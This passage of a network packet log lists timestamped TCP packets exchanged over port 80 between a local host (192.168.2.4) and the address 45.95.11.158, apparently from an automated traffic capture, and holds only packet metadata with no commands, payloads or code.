Aug 23, 2022 03:42:41.550753117 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550784111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550791979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550806046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550822973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550843000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.551527023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551554918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551573038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551587105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551610947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.551649094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.551664114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551683903 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551702023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551714897 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551717043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.551732063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.551758051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.551870108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551903963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.551909924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551942110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.551966906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551980972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.551997900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552011967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552048922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552081108 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552095890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552128077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552248001 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552262068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552279949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552279949 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552298069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552299023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552316904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552329063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552350044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552392006 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552427053 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552498102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552534103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552536011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552565098 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552618027 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552650928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552653074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552671909 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552685022 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552690983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552704096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552717924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552720070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552753925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552859068 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552881002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552901983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552912951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552915096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.552942991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552966118 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.552980900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553013086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553030014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553045034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553046942 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.553069115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.553093910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.553554058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553579092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553596020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553607941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553618908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.553652048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.553883076 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553917885 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.553925991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553945065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553956032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.553958893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.553976059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.553987026 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.554097891 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.554117918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.554132938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.554136038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.554147959 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.554150105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.554166079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.554167032 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.554178953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.554194927 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.554198980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.554229021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.554250002 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.554264069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.554280996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.554300070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.556540012 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.556571960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.556587934 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.556600094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.556617022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.556633949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.556638002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.556653023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.556664944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.556669950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.556689024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.556714058 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557332039 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557358980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557378054 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557390928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557390928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557408094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557445049 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557542086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557579041 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557586908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557619095 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557670116 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557684898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557702065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557703018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557720900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557739019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557758093 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557795048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557817936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557833910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.557852030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.557867050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558255911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558296919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558330059 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558340073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558347940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558356047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558387995 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558412075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558444977 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558445930 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558464050 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558479071 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558485985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558500051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558516979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558530092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558562994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558578014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558610916 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558613062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558625937 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558646917 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558662891 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558803082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558857918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558876991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558893919 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558893919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558909893 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.558924913 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.558937073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559042931 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559063911 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559089899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559097052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559108019 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559113026 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559132099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559148073 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559304953 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559324980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559340000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559341908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559356928 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559374094 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559376955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559395075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559411049 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559413910 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559432030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559448957 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559453011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559467077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559483051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559487104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559499979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559504032 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559519053 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559521914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559531927 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559539080 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559556007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559571981 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559920073 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559943914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559959888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559978962 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.559978962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.559998989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560017109 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560020924 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560033083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560038090 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560069084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560292959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560328960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560338020 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560369968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560374022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560386896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560408115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560424089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560457945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560497046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560529947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560537100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560551882 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560570002 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560595989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560796976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560820103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560853004 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560853004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560868979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.560885906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.560911894 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561321974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561373949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561393976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561408043 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561413050 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561440945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561441898 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561460972 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561472893 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561479092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561492920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561505079 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561522961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561527014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561538935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561544895 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561563969 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561574936 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561575890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561599970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561610937 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561630964 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561836958 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561861992 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561880112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561897039 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561899900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561916113 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.561933994 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.561949968 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.563977003 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564016104 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564033031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564048052 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564064980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564088106 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.564100981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564127922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.564146042 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.564146996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564161062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564198017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.564336061 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564353943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564378023 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.564383984 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564399004 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.564404011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.564423084 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.564440012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.567169905 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.567504883 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583314896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583363056 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583364010 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583384991 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583393097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583401918 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583414078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583420038 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583434105 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583439112 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583451986 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583453894 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583471060 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583472013 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583487988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583491087 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583503962 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583504915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583520889 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583522081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583537102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583537102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583554029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583554983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583565950 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583568096 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583585978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583586931 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583601952 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583602905 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583615065 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583621979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583632946 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583635092 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583652973 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583666086 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583692074 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583709955 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583725929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583739042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583739996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583779097 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.583946943 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583965063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583997011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.583997965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584008932 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584099054 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.584352016 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.584374905 CEST	80	49743	45.95.11.158	192.168.2.4
